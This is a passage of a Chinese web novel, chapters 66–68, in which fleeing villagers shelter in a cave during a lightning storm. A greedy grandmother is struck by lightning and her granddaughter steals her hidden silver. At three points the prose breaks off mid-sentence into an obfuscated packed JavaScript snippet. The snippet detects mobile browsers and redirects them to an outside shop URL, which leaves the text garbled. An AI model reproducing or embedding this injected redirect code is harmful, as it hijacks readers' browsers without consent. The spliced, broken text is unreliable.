王李村的人一路奔逃,爬了一个坡之后,村里人才跟里正他们的队伍汇合。 找到主心骨之后,零散在外的村民才觉得心安。 不管怎么说,里正一路带着他们走来,都没出过什么大岔子。 跟在里正后头走,几乎成了王李村村民的习惯。 宁妈宁爸一边祈祷着宁宁他们能顺利看到自己留下的印记,一边祈祷他们能够早日相见。 走着走着,王李村的人刚下一个山头,忽然被突入起来的天雷给吓了一跳。 “这雷不太对劲啊……” 第66章 被雷劈了 “这雷好像水灾刚开始那几天的动静。”宁妈看看天,又是几道闪电落下,远处的山上的树被击中倒下。 她神色严肃道:“老赵,这雷太危险了,咱们得找避雷的地方。” 宁爸点头,看着队伍还在不急不慢地走,他忍不住掏出油纸伞,刚想下车,便听到前头的里正说: “咱们得找个避雷的地方!” “这雷不对劲!” “是啊!我看对面的山头好像……好像被雷劈了好几下!” 雷劈之后,紧接着雨势也变大了,山路越发难行。 王李村的人小心翼翼地往下走,正走着,队伍中央忽然一道白光闪过。 噼啪一声,一辆架子车直接被劈成了渣渣。 站在旁边的钱婆子吓得魂都飞了,看到旁边架子车的惨状,她忙手脚并用地从自家车架子上爬下来,小心扶着车把走。 一边走一边惊魂未定地说:“老天爷,你可别劈我,等我到了青州,我就多做善事……” ——原来做坏事真的会被雷劈! 老赵家几个人脸色不太好,赵老大喃喃:“老天爷,我赵铁柱平日里勤勤恳恳干活,可没干什么坏事啊,你、你可别劈我!要劈便劈坏人吧!” 听见大儿子的话有些不像样,赵老头骂咧咧道:“胡咧咧什么呢,还不快点跟上!” 赵老大拉着车快步往前走,跟在后头推车的赵老三也有些心虚。 他也怕被雷劈,但他不敢这样直接说出口,说出口也太蠢了! 赵老三在心里祈祷,在心里给老天爷下跪磕头,就差直接跪在泥地上磕头了。 走了几步,感觉天上的雷声渐远,几个人心里窃喜:看来求老天还真有用啊! 钱婆子咧嘴笑:“老天爷保佑咱们家,老大老三,快走快走!” 赵老大和赵老三推着车小跑跟上队伍,正走着,一道白光劈下来,赵老三眼睁睁看着那道闪光就劈在自己脚边,吓得直接往一边倒。 钱婆子吓得直接一蹦,往前扑倒,躺了一下没听到别的动静,颤巍巍回头看:老三躺在地上没动静,他被雷劈倒了?! “老、老三……”钱婆子惊惧地朝老三伸手,眼角挤出几滴泪来。 “娘、娘……”赵老三从地上爬起来,两人一看:嘎? “娘?”老三问:“你被雷劈?!” 正准备喊赵老三小名的钱婆子没被雷劈也快被老三气**,“你是才被雷劈了!” 两人都没事,只是被吓到,钱婆子从地上爬起来,浑身沾的都是泥水。 赵老三不比她好到哪去,这几日身上衣服都是干了湿湿了干,下半身还全都是泥点子。 这下子倒好,全身都被泥水浸泡透了。 “走走走!刚才里正不是说了吗!越往底下走越安全!” 钱婆子随手拍拍身上的泥,催促自家人赶快往前走。 还好刚才自家人没被雷劈中,不然……不然村里可是会传闲话的! 一路往下走,队伍周边又打下来几道雷,钱婆子从一开始的惧怕到后面的窃喜:看来祈祷还是有用的,你看老天爷左劈右劈,都不劈他家人! 被劈中的有村里一家寡妇的架子车,还有村里一家有钱人家的车厢。 虽然没劈中人,但劈到他们家的车了! 自家刚才不过只是被天雷吓了一下,他们比起自家,肯定是干了不少亏心事! 钱婆子心里盘算着,等到了休息的时候,她该怎么说。 寡妇那家早先的时候,村里传言说她勾引村里的男人。 传到村里人人都在悄悄说这事,被她听见,她闹得要吊死在村头的树底下,里正喝止了此事,村里的人才慢慢不再提起。 她肯定是偷人了!还不止偷一家!不然天雷好巧不巧,为啥就劈她一家的车! 至于另一家,更好说了,他们家是王李村建成好些年之后才来的外姓人,他家不知哪里赚来的黑心钱,趁之前村里闹灾的时候把村里好几家的好田都给买走了,人家想买回去他都不给! 钱婆子盘算着,走着。 队伍里三番五次落下天雷,里正打起精神来赶路,王修奉想要去前头探路,怕他一人遇到危险,里正怎么都不允。 走着走着,王修奉忽然看到不远处的有一道山壁。 待在山壁底下,怎么也比待在这里强,他跟里正说了,里正当机立断,带着队伍往山壁的方向拐。 等快走到的时候,在前头的里正和几个村民发现,山壁底部竟然还有一处山洞! 虽然洞口不大,但那也是山洞!走了这么些天,第一个遇见的山洞! 里正脸上浮起喜色,忙喊着队伍往山洞那边走。 钱婆子也高兴,遇到山洞就意味着,队伍会休息一两天。 在山洞里他们终于可以好好歇歇了! 这次她要好好劝劝老二两口子,俩孩子都那么多天没见着人,肯定是在泥石流那次就直接没了! 只要把他们劝得心软接受四小子,她就去把老二家的马要过来,马车的车架子,就要配马才好。 正想着,一道雷直直地朝钱婆子劈来。 站在一边的赵老头惊惧万分,下意识地往一边一躲。 钱婆子只觉得头皮麻麻的,接着被一股力道给推远了。 耀眼的闪光在脚边闪过,只一瞬,钱婆子感觉有一辈子那般漫长。 “轰隆——” 紧接着便是雷声。 “啊啊啊啊!” 钱婆子从地上吓得爬起来,大叫着撞开前头的人往山洞跑。 ——只要跑到山洞里就没事了!雷劈不到山洞里头的! 钱婆子不知道哪里来的力气,愣是越过所有人,一口气跑到了洞口,第一个连爬带滚地进去。 王修奉不悦:“钱婶子,里头是什么情况还没探查,你贸然进去会有危险的。” “那怎么了!”钱婆子走到洞里,顿时觉得自己安全了,不客气地对着王修奉说:“你不要命我还要命呢!天雷多吓人!” “你……”王修奉无奈下马,正准备让后头的弟弟帮自己牵着缰绳,进洞探查的。 天上忽然飘来一个奇特的发光球球,顺着王修奉和他身后村民惊疑不定的视线,直直撞向还在大放厥词的钱婆子身上。 “滋啦”一声,钱婆子应声倒地。 “雷、天雷!” 王修奉吓得**几步。 走在最前头的村民也看到了。 那钱婆子明明都走进山洞了,还是被一道诡异的天雷给追了进去! “钱婆子之前不是还要卖亲孙女吗,这不是现世报就来了……” “她是咱队伍里唯一一个被雷劈的吧?” “是啊!刚才好几道雷劈到队伍里,顶多劈点行李车架子,只有她……” “原来做坏事真的会被雷劈啊……” “老天爷,你别劈我,下次我不抢村里小孩的糖吃了……” “老天爷,我再也不打骂孙女了……” “我也在不瞒着爹娘偷偷去见隔壁村到小芳了……” 一时间,好些个村里人真心地跪在地上祈祷。 里正:“还不快些进山洞!外头还在打雷!” “康大夫?康大夫,您快些来瞧瞧钱婆子!”里正朝后头看看。 村里的大夫从后头过来,伸手试探了一下,还有鼻息。 他道:“还有鼻息!” 里正放下悬起来的心,“那就好……” 还好没出人命。 怕后头的人在遇见这种怪力乱神到事,里正让王修奉拿着火把赶快去探查一遍洞窟。 王修奉找人一起,宁爸自告奋勇,抓着自家火把跟到队伍里。 这个山洞洞口极小,仅容两辆马车并行。 走进去之后众人才发现,原来这里头别有洞天——竟然是个溶洞! 无数个历经千年万年积累而成的钟乳石层层叠叠交错着,被火把一照,上面荧荧散着反光。 走在这里头,外头一切吵闹似乎都听不见,只能听到交错的滴答声,极富有韵律。 这里宛若仙人洞府一般。 宁爸举着火把,一时有些看呆。 其他几人也好不到哪去,宁爸一个见识过现代七彩溶洞的人都看呆了,他们更是喜中带惧。 “要不,咱们还是出去吧?” 一个村民说:“这怕不是仙人的洞府!” “咱们不过是普通人,贸贸然进来,仙人会生气的!” “仙人会降天雷于咱们的!” 宁爸:…… 有时候真想一脚一个把这些搞封建迷信的给踹出去。 旱灾的时候说惹怒了太阳神,寒流时候说也惹怒太阳神,鼠灾的时候说惹怒了鼠神,蝗灾的时候惹怒了蝗神。 不管什么时候,都能给自己安一个莫须有的“神”来祈祷祈求一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229791|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “少胡扯!”王修奉及时出来喝止队伍中这种说法,“你们要是不乐意进去,就在外面呆着!” “就是,外面还在打雷呢!” “我可不想被雷劈,我要进来!” 被王修奉喝止之后,风向见见扭转回来。 冒雨赶路这么多天,他们早就想找一个能落脚的地儿了,一直走到今天才遇见这么一个。 要是错过这个店,下个村不知道哪里能找得到,更别说现在外头那么危险,谁不想躲在山洞里一边避雨一边舒舒服服地休息!? 一行人继续往前走,中间除了遇到一群群的蝙蝠以外,山洞里旁的什么都没有。 就是里面地形比较复杂,有很多支路,空间倒是足够现在的队伍。 王修奉带着探路的人出去。 “里面地形太复杂了,马车进去不太好走,只能放在离洞口近的地方。” 好在,现在队伍里有马车的人家只有两成,还有两成是推架子车的,有一成自己推独轮车和两轮车。 剩下一半村民,家当全是手拿肩挑的。 洞口太小,不能容纳太多人同时进去。 按照队伍过来的顺序,里正安排大家伙挨个进洞。 宁妈宁爸的马车排在中间,进洞之后,宁爸先去占了位置。 宁妈守着车,等宁爸占好位置之后,让他把车后头的柴火扯下来一些装在袋子里,再搬到自家位置上。 最后把其他能放进车厢的东西收一下丢进车厢,宁妈把车门关好,用大锁锁上。 还好当初做车门的时候,赵启给两面做的都可以锁起来的,为的就是这一天。 锁好门之后,宁妈满意地拉了拉车门的锁,这才抱着最后一点东西下车。 到休息的地方,宁妈先是看了一圈,再夸宁爸:“选得真好!” 宁妈摸摸墙,“刚好靠墙,墙还是干燥的。” 这里刚好是一个夹角,虽然地方小,但是靠墙。 俩人合作,把棍子插在地里,用油布做了一面“墙”,格挡住三角的底。 上面绑好一根横杠,下面不固定,这样白天来回走动的时候就可以自由进出。 等晚上把下面用绳子帮助,多出的边用石头压着,这样要是有谁来硬闯,肯定会弄出一些动静来。 弄完油布墙,宁爸在小空地上铺了一层专门做底部的油布,把帐篷给搭起来。 双重保障,宁妈钻进去把被子枕头放出来,这样晚上睡觉怎么也比在马车上舒服。 有两天都没洗澡了,宁妈到帐篷后头用布围挡着,凑着小小的空,她从空间掏出木桶,往里放了热水和凉水,简单地擦洗起来。 擦洗好后,宁妈换了盆水,把头发给洗净。 她洗好之后,换宁爸去洗,她在外头看着,顺便给宁爸换水。 两人洗好后都换了干净衣服,宁爸小幅度地搓洗着换下来的衣服,有些发愁。 之前一直都是依**宁空间里的水,宁妈空间里存的干净凉水还没有热水多。 这几天下雨,容易被淋湿发馊,宁爸和宁妈都洗了好几次澡了。 再这样下去,只能用路上接的雨水洗澡洗头了。 洗好之后,宁爸把衣服拧干,晾在帐篷后头刚才洗澡搭起来支架上。 宁妈这边已经把饭准备好了。 山洞里不敢吃味道大的,她只拿出来了之前蒸的饼子。 饼子上夹了点榨菜丝。 即便是这样,已是队伍里不可多得的好食物了。 从黄石离开又逃到山上,这一路村民手里的粮食几乎都吃空了。 连里正家,都吃了好多日的菜干饼了。 好些的人家能偶尔抓一把粮食煮煮树根粥。 差一些的只能吃树根树皮。 赵慧兰麻木地捧着分来的一碗汤。 说是汤,是因为最近一直在下雨,煮汤的水倒是不缺。 但汤里面只有米树皮,且只有一小块。 为了省柴火也是为了省事,钱婆子只允许孙氏煮一遍完事,因此喝下去,这汤味道还是又怪又苦涩。 赵慧兰喝完,只觉得自己从喉咙到脚底都是苦的。 那又怎么办!家里就是有粮食也轮不到自己吃! 赵慧兰可是看到的,奶奶前几日偷偷拿着银子,去换了半袋粮食。 ——对了,银子…… 赵慧兰放下空荡荡的碗,看向自家车架子。 第67章 赵慧兰的小心思 ——只要能拿到银子,就能去换粮食! 赵慧兰心里盘算了一圈,暗暗观察着家里人的动静。 爹娘做完饭忙着去外头收集雨水。 三叔一家子围在一起不知道在说些什么。 大哥和大嫂…… 赵慧兰呼吸一窒。 ——大嫂手里怎么还有饼子! ——怪不得!怪不得全家都瘦得只剩个人形了,大嫂脸上还能挂着点肉! ——原来是大哥给她开小灶! 他们身上肯定还有粮食……或是银子!想到这里,赵慧兰呼吸都粗重了几分。 剩下一个弟弟,一个爷爷。 爷爷蹲在一边的地上不知道在想些什么,而弟弟趴在一边,在抠地上的石头。 ——很好!没人注意这里! 赵慧兰瞄准车厢,飞速爬上去,在车厢里还在昏迷中的奶奶身上摸了一圈。 ——没有! ——怎么会没有呢! 赵慧兰不死心,仔细在奶奶身上摸了一遍。 还是没有!她忍不住拽自己的头发。 ——难道是花完了!? ——不,不可能,奶奶不是这种性格! 就是上次在黄石县家里的马车被没收的时候,她奶也能从身上抠出一些银子来。 她身上一定还有银子! 忽然,赵慧兰瞥见奶奶的脚。 因为要一直走路,所有人的腿脚都是用布条缠起来的,只有休息的时候才会放开。 但赵慧兰都这么久了,还没见过奶奶把腿上的布条给解开过呢! 她伸手去摸,果然!在小腿内侧和脚踝的地方,摸到了一个不同于寻常人的凸起。 一圈一圈打开布条一看:里面正是一些松散的碎银子! 从里头拿出两块大一些的银子塞怀里,赵慧兰又小心把钱婆子的布条给原封不动地绑了回去。 做好这一切后,她扶着车窗往外看看:没人注意这一边! 赵慧兰小心地从马车上下去。 孙氏从外头接好水回来,见女儿吃完米树皮汤正傻站着也不知道干活,想骂人的话到嘴边,孙氏忍住,说:“吃完了把碗刷一刷。” 赵慧兰反应过来,低着头应了一声,躬身把地上的碗筷捡起来,拿到洞口去借着雨水冲洗。 其实也没什么好洗的。 赵慧兰冲刷了几下,连带着手上沾到的泥土也给冲掉。 她惊奇地发现:自己的手竟然变白了! 之前天上有九个太阳的时候,赵慧兰都觉得自己要晒成黑炭了! 本想着不会白回去的,没想到!没想到不过几日,自己竟又白了回去! 赵慧兰把手伸进雨水里洗净,一双手虽说没有之前在王李村那样白,但也比前些日子好太多了。 等会就去带着银子去求一下村里人卖粮食给自己。赵慧兰一边想,一边搓着胳膊上的灰泥,眼里闪过兴奋的光。 很快,赵慧兰把自己手上和胳膊上的灰泥给洗掉,露出底下皮肤的颜色。 这还不够,赵慧兰把袖子放下去,先端着碗默默地回到了自家马车旁边。 孙氏之责怪了她一句怎么洗个碗都要这么长时间,便让她靠在自家马车旁边休息。 老赵家的人就这样围绕着自家车架子一圈休息。 摸摸怀里的银疙瘩,赵慧兰躺在地上翻了个身。 看到旁边马车,小花娘正在用火堆给小花烘烤草垫子,赵慧兰咬咬下唇,忍住嫉妒的心翻身面朝山壁。 别人家的娘都这样关怀女儿。 那王小花家的车架子被没收,小花娘眼疾手快把上面包裹拉下来死命抱住,衙役见她们抱的不过几件破衣裳,允许她们离开。 小花娘就靠着破衣裳里面藏的银子,又重新置办了一个手推的双轮车。 一路上边走边往车上捡东西,再有就是拿钱换,现在她们小小的车上有柴火,有油布,有衣裳,有吃的。 没有草席子,小花娘就用路边薅来的野草编成了一个厚厚的草垫子。 草垫子有些长,经过一天的跋涉之后,边边角角总会被雨淋湿。 小花娘会趁着休息的时候踮起火堆用火慢慢烘烤干了再铺在地下让小花睡。 ——凭什么!凭什么!!一个连接都没有的孩子能过得这么幸福! 虽然已经翻过身去,但刚才那一幕化作一股嫉妒,在赵慧兰的心底油然而生。 ——小花就应该跟五丫那样!被泥石流给冲走! 赵慧兰咬着手指,疯狂地撕咬着手指甲。 天色渐晚,洞里的人渐渐歇下。 赵慧兰看家里人睡熟,悄悄从地上爬起来。 摸黑走到洞口边上,外头还在打闪打雷。 天上的雨滴倒是比之前小一些了。 赵慧兰不敢走远,就在洞口边上站定,趁着天上的雨,隔着衣服搓洗起自己。 她着重洗了会露出来的地方,洗好之后,她把衣角拧干,拖着长长带着水痕的步子走回自家车架子旁边。 趁着火堆还没熄灭,赵慧兰用烘烤着自己。 第二天,外头雷暴依旧。 里正让大家伙趁着在山洞里好好休息一下,村里人烘柴火的烘柴火,做干粮的做干粮。 有两家人什么吃食都没了,决定冒险出去找吃的,里正劝了没劝得住,叮嘱他们要小心。 他们一出去,村里人的心思开始活泛起来。 之前旱灾,外头山上能吃的东西早被附近的村民给扒光了,除了树皮草根和老鼠,王李村的人啥都摸不着。 现在下雨了,山上该长出来吃的了! 早一些出去,便能多找到一些吃的。 但是外头还在打雷,村里人有些担心出去会不会被雷劈到——钱婆子被雷劈之后,到现在都还没醒呢! 赵老头用树枝戳戳火堆,说:“老大,老三,你们两个带着人去外头找找柴火,咱们家柴火快烧没了。” 赵老三有些不情愿:“爹,外头还在打着雷呢!” 一出去就淋湿,他头上和身上都起疙瘩了! “让你去你就去!”赵老头说:“你不去捡柴火,是想学老二那样分家自己出去过吗!” 赵老三是想过,但分家出去杂活就得自己干了,哪像现在,至少有赵慧兰顶着。 早点出去,周围的柴火还能捡一捡,遇见不对还能赶紧跑回来。 去晚了周围的柴火都被捡光,去远的地方捡柴,万一遇见个什么事,跑都跑不及。 反正出去随便捡几根就成了,赵老三忙说软话:“爹,这哪成啊!我才不像二哥那样,纯白眼狼!” 说完,他以女儿还小媳妇身体不舒服为理由,自己一个人拿着蓑衣钻出山洞去了。 一向爱躲懒的老三都去了,赵老大没有不去的理由,只能拿着斗笠,钻进雨幕之中。 赵文远看看媳妇再看看自己,只能咬咬牙去捡柴火。 孙氏忙不迭地跟在自家男人和儿子后头。 赵慧兰正发愁没借口从赵老头的眼皮子底下溜走呢,他说去捡柴,赵慧兰扒拉出自己挡雨的草帽,顶着雨幕走出去。 昨天晚上刚烘干的衣服,又被雨淋湿了。 赵慧兰捡了几根柴火,悄悄折返回去。 在洞口把打湿的衣服衣角拧一拧,赵慧兰抱着几根柴火,忐忑地走到尚家的马车旁边。 刘大成媳妇一看,一个脸生的小姑娘过来,立马拉拉自家男人。 刘大成好脾气地问:“你是?” “我是来换粮食的!”赵慧兰把怀里的硬疙瘩摸出来,攥在手心里,紧张地盯着刘大成,“刘管事……能不能让我见见尚少爷,我只要换一点粮食就行。” 听到要找自家少爷,刘大成脸上的笑意收敛起来,一脸为难地说:“逃荒这么久,我们也没什么粮食了,要不你去问问别家?” 这小姑娘是王李村的,不去找里正村长和村里富户换,偏偏跑来尚家换粮食,这安的是什么心? 赵慧兰一听,自己连尚少爷的面都见不着,不由得着急,她急道:“刘管事,求求你了!尚家比村里好些人家都有钱,粮食也比他们多,我就换一些,我不跟其他人说!” 刘大成都无语了,她这样大嗓门地嚷嚷出来,说与不说有什么区别? “你这个小姑娘,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229792|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们家男人说没有多余的粮食就是没有!”刘大成媳妇来帮腔: “都跟你说得明明白白的了,逃荒这么久,带再多的粮食走到现在,都只剩一点袋子底了,自家舍不得吃上一口!” 赵慧兰又急又气,她是换点粮食,但也想接着这个由头去见尚家少爷啊! 现在粮食换不到,更别提见尚家少爷了! 急到一半,赵慧兰忽然想到戏本子里说的那个词叫什么来着?对了!狐假虎威! 刘大成一家子,不就是在狐假虎威吗! “你们说了又不算,我换的是尚家的粮食,我要见尚家少爷!”赵慧兰急得跺脚。 “我们少爷岂是你说要见就能见的,吃食都是我媳妇在管,粮食要紧着少爷吃,我们说不换,就是不换!”刘大成直接拒绝。 山洞里,各家距离都很近,旁边的一家富户听见动静,他们家女儿低声笑了句:“哎呀,这哪是换什么粮食,这分明是想换郎君!” 被戳破心事,赵慧兰脸色顿时一红。 刘大成才不管粮食不粮食,郎君不郎君,反正他们家少爷再怎么落魄也还有他守在前头呢,还轮不到这个小丫头近身! 又纠缠片刻,刘大成和他媳妇把马车前头挡得严严实实,赵慧兰不得靠近,嚷了半天都没见马车里头有动静,还以为是尚少爷默许。 不得其法,她只能失落地拉着几根柴火往回走。 走到一半,路过里正家马车的时候,赵慧兰远远瞧见,那火堆里坐着的一圈人里头,尚家少爷正坐在里头! 连五丫爹都在里头坐着! 赵慧兰急得抓耳挠腮,要是二叔是她亲爹就好了,这样她就可以随便找个她娘找他的借口过去知会一声,顺便搭话。 只可惜,这是五丫的爹…… 赵慧兰眼睛一亮,不管是不是五丫的爹,这个由头都可以使啊! 想到这里,她抱着柴火,刚挤过去准备开口,坐在另一边尚家少爷忽然起身,跟着里正儿子越走越远,竟然直接走了! 赵慧兰想追,可火堆一圈人都看着她呢! “那个、二叔、外头可以捡柴火了……”赵慧兰尴尬地结巴着说完,不等其他人反应,抱着柴火落荒而逃。 宁爸也一脸莫名其妙,他明明跟这个二丫不熟的! 众人没把这个小插曲放在心上,里正拿着地图给其他人看,指着上面的路线继续商量接下来的路。 一连两次都没成功搭上话,赵慧兰抱着柴火闷头跑回家,一脸愤愤地把柴火丢在地上。 “怎么就这点儿?!”赵老头嫌弃,“再去多找点回来!” 赵慧兰又出去扒拉柴火,这趟回来的时候,她路过里正家那边特意留意了一下,尚家少爷还没回来…… 本想趁着第三次出去找柴火的时候再看看,没曾想,昏迷了一天一夜的钱婆子,终于醒了! 钱婆子只觉得自己头像核桃被一个大石头给砸成了两半一样,一会被掰开一样咔啦咔啦疼,一会像核桃仁被人掏走一样整个人都犯迷糊。 浑身酸软没力气,钱婆子躺着喘了几口气,看清自己是在自家红彤彤的喜车车架子里头躺着,钱婆子吐了口浊气,喊:“老大……老三……文远……” 外头没人应声,钱婆子歇了口气,又喊:“孙氏!二丫!” “你醒了!?” 先过来的既不是孙氏也不是二丫,更不是她那仨宝贝金疙瘩,而是赵老头。 钱婆子:“老头子……哎呦……我浑身酸疼没力气,他们几个呢?让他们几个过来,扶我起来。” 赵老头过去扶她,边说:“他们几个去外头捡柴火了。” 扶了一下,谁曾想,那钱婆子滑溜溜地直接倒在了车板子上,“哐当”一声,磕到了头。 钱婆子:“哎呦!” “我、我去找人过来!”赵老头急匆匆从车上下来,刚好撞见从外头回来的赵慧兰。 “二丫!快!你奶醒了!” 赵慧兰手里的柴火“啪嗒”一下散落在地上。 她不是激动的,而是吓的。 ——奶醒了?! 第68章 找吃的 “愣着干什么?快过来!你奶醒了,你去扶她坐起来。” 赵老头朝赵慧兰招手,赵慧兰迟疑地走了两步 ——只是过去扶奶起来?奶还没发现她银子丢了的事? 那边赵老头还在催,没法子,赵慧兰只能装作什么事都没发生一样,去车上扶钱婆子起来。 钱婆子猛一坐起来,整个人头晕目眩,扶着头缓了好一大会,钱婆子这才慢慢想起来,她晕倒之前发生了什么。 她!被雷劈了! 村里人一定开始传闲话了! 钱婆子双眼一翻,差点再次晕过去。 这可把赵慧兰吓得不轻,“奶!奶!你没事吧!” “我、我没事……”钱婆子虚弱地说。 “你没事就好,咱们现在在一个山洞里,我爹、娘、大哥还有三叔,他们都在外头找柴火呢!” “找柴火!?”钱婆子惊道:“你怎么能让他们去找柴火!外头还在下雨!天上还在打雷!” “我……”赵慧兰想解释,钱婆子却不给她解释的机会,扬手一巴掌便扇过来,“死丫头,他们都出去捡柴火了,你在这干啥!你咋不去!” 热辣辣的巴掌扇下来,赵慧兰的脸立马浮现出五个巴掌印,她捂住自己的脸:“我!我!” “我什么我!还不快去找你大哥他们!” 钱婆子捂住自己的心口,一阵心绞痛,她觉得自己刚醒过来,又要昏过去了。 赵慧兰咬着牙,不再解释,低着头朝山洞外面走。 奶之前从来不打自己的!这还是第一次!他之前都是打五丫、打五丫她娘的! 更何况,又不是自己让他们去外头捡柴火的,是爷爷让他们去的!自己不也出去捡柴火了!她回来两趟都没看到他们回来一次,也不知道爹娘去的哪里捡柴火。 若是以前的赵慧兰,或许真的会傻乎乎地去外头淋雨找爹娘,但这么多天逃荒下来,赵慧兰心里的计较变多,逐渐不再那么“乖顺”。 外头还在打雷,跟无头苍蝇一样乱转着找人,还不如在洞口等着。 赵慧兰在洞口附近找了一个隐蔽的地方蹲下,双眼紧盯着外头。 赵铁柱和孙梅俩人挨着从外头回来,手里没提太多柴火,怀里和腿上鼓鼓囊囊的也不知里面塞了什么东西。 看见爹娘,赵慧兰按兵不动,没有急着上前。 又过一会,大哥跟在后头回来,身上倒是没什么东西,但脸上带着喜色。 擦擦眼睛再看过去,大哥脸上嘴角是掩饰不住的喜意,赵慧兰还以为自己看错,瞥见他手不自在地往怀里摸,赵慧兰心下了然。 果然,他应该也是发现了什么吃的。 赵慧兰接着蹲,走在最后头的三叔身上空空荡荡的,只手里拎着一把柴火。 这些人手里的柴火,还没自己两次捡到的多呢! 赵慧兰心里不忿,走到前面,装作惊喜地说:“三叔!我正去找你呢!” “慧兰?”赵老三惊住,“你不是也出去找柴火吗?” 赵慧兰说:“我已经回来两趟了,奶醒了!奶让我来找你们回去!” “哦哦,那我们回去吧。”赵老三说完,率先朝着自家的方向走。 赵慧兰紧跟在他后头,俩人一起回去,还没靠近自家车架子旁边,便听到一阵叫骂声。 “哪个杀千刀的!别让我找到!竟然敢摸老娘身上的银子!要叫我抓到你,非得把你的贼手给砍了!” “哎呦我的银子呦……” “咱们好好的队伍里怎么能出一个贼娃子!非得找里正把你抓起来!” “我的大银子!我的棺材钱!到底是谁丧良心,把我银子给偷走的!” 钱婆子在前头又是拍腿哭又是跳脚骂,骂的内容不堪入耳,赵慧兰心虚地低着头,不敢直视前方。 想了想,她躲在三叔后头,趁着还没走到自家车架子前,把怀里的银子摸出来,悄悄藏在一处石笋旁边,用小碎石头给压住。 挡好后,赵慧兰才低头跟在三叔后头回去。 钱婆子发了会疯,附近全是看她热闹的。 毕竟她自个儿才刚被雷劈,她的话真真假假,谁去信她?! 钱婆子气得没办法,扶着头躺在车板子里哎呦哎呦地叫唤。 这倒是方便了赵老大和赵文远。 他俩把柴火往地上一丢,各自找了角落坐下,把怀里的东西偷偷往包裹里藏。 孙氏有个小包裹,钱婆子一般不去看,往常她有什么吃食都藏在这里头,藏起来给赵谦吃。 往常有好吃的,孙氏都是紧着要上学的大儿子吃,再然后是小儿子赵谦,最后才是赵慧兰。 以前有什么都吃不到嘴里的赵宁宁比对着,赵慧兰一直都很有优越感,自从二房一家子分家出去,家里许多活计都落在了孙氏和赵慧兰身上。 吃食却轮不到孙氏,全是家里的男人占大头。 这点菌子,是孙氏和赵老大好不容易在外头找到的。 想想自己小儿子饿得一副皮包骨的样子,孙氏狠狠心,没跟钱婆子说找到菌子的事。 刚把菌子藏好,那头钱婆子又催着出去找柴火。 这次她怕大儿子和大孙子他们被雷劈,说什么也不允许他们出去捡柴火,只让孙氏带着赵慧兰一起去。 赵老大倒是没什么意见,他不去正好躲清闲,反正他媳妇知道菌子在哪。 但赵文远和赵老三不同意啊! 他俩也找到了一处长菌子的地方,要是不让他俩出去,他俩上哪去摘菌子?上哪去藏菌子? 赵老三一副为了家里着想的样子,扶着钱婆子坐下,恳切道:“娘,我知道你担心我们,但是咱家的柴火实在是不多了,新捡回来的还都是湿柴火没法子直接烧。” “接下来还要走那么多路呢!咱们要是不趁这个时间去捡点柴火,以后万一找不到山洞歇脚怎么办?”要是接下来的路上找不到菌子,他们一家子岂不是只能天天吃米树皮? 米树皮也不剩多少了,再找不到吃的,他家全家都得撞墙! 赵老三打算,自己偷偷存一些菌子,再告诉家里人菌子的事。 他一番劝慰,钱婆子不好拂了他的美意,再三叮嘱他们几个要注意离天雷远一些,钱婆子放他们出去找柴火。 赵慧兰自然也得去,她想了想,偷偷跟在自家亲娘后头,赵慧兰想知道,他们在哪弄了什么粮食。 换不到粮食,她跟着弄一些吃的也行!只要是吃的,就算是难吃的米树皮,她也要! 另一头,钱婆子被雷劈之后滴水未进,喊也喊了骂也骂了,歇下来之后只觉得一阵口渴,肚子里咕咕叫。 这会家里没其他人在,她只能拖着还发软的双手双脚爬下车架子。 赵老头给她把火炉子烧上,往里头加上孙氏接的雨水,钱婆子从自家放米树皮的包裹里掏出一块米树皮,丢进锅里。 路过老大家放包裹的地方,钱婆子目光一停。 她记得,之前老大家的包裹没这么大的! 是不是孙氏偷拿她银子去换粮食了! 钱婆子把米树皮往锅里一扔,气势汹汹地扯开孙氏的包裹。 里头一朵朵菌子悄声掉在地上,那菌子上头还沾着水,分明是刚刚采摘回来没多久的! 钱婆子翻了翻,里头除了几件破衣裳,再有就是半块硬得像铁板的饼子,和八文钱。 钱婆子把菌子包回去,饼子和铜板都收自己怀里,被老大和老大媳妇气得手抖有些抖了。 赵老头看她不对劲,忙问:“老婆子,你怎么了?要不你去歇着,等米树皮煮好了我给你端车上?” 钱婆子一挥手,“不用!” 她的好大儿!她的好大儿媳!不知道什么时候,竟然敢偷偷背着她瞒着她藏吃的! 赵老大别的不说,就是老实这一点,王李村所有的汉子都比不上他!钱婆子可以说,家里的三个儿子,她给教养的让他们往东就往东,让他们往西就绝对不会往别处去。 除了老二不知道被周氏喂了什么**药非要跟家里对着干之外,另外两个儿子,平日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229793|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里都孝顺得很! 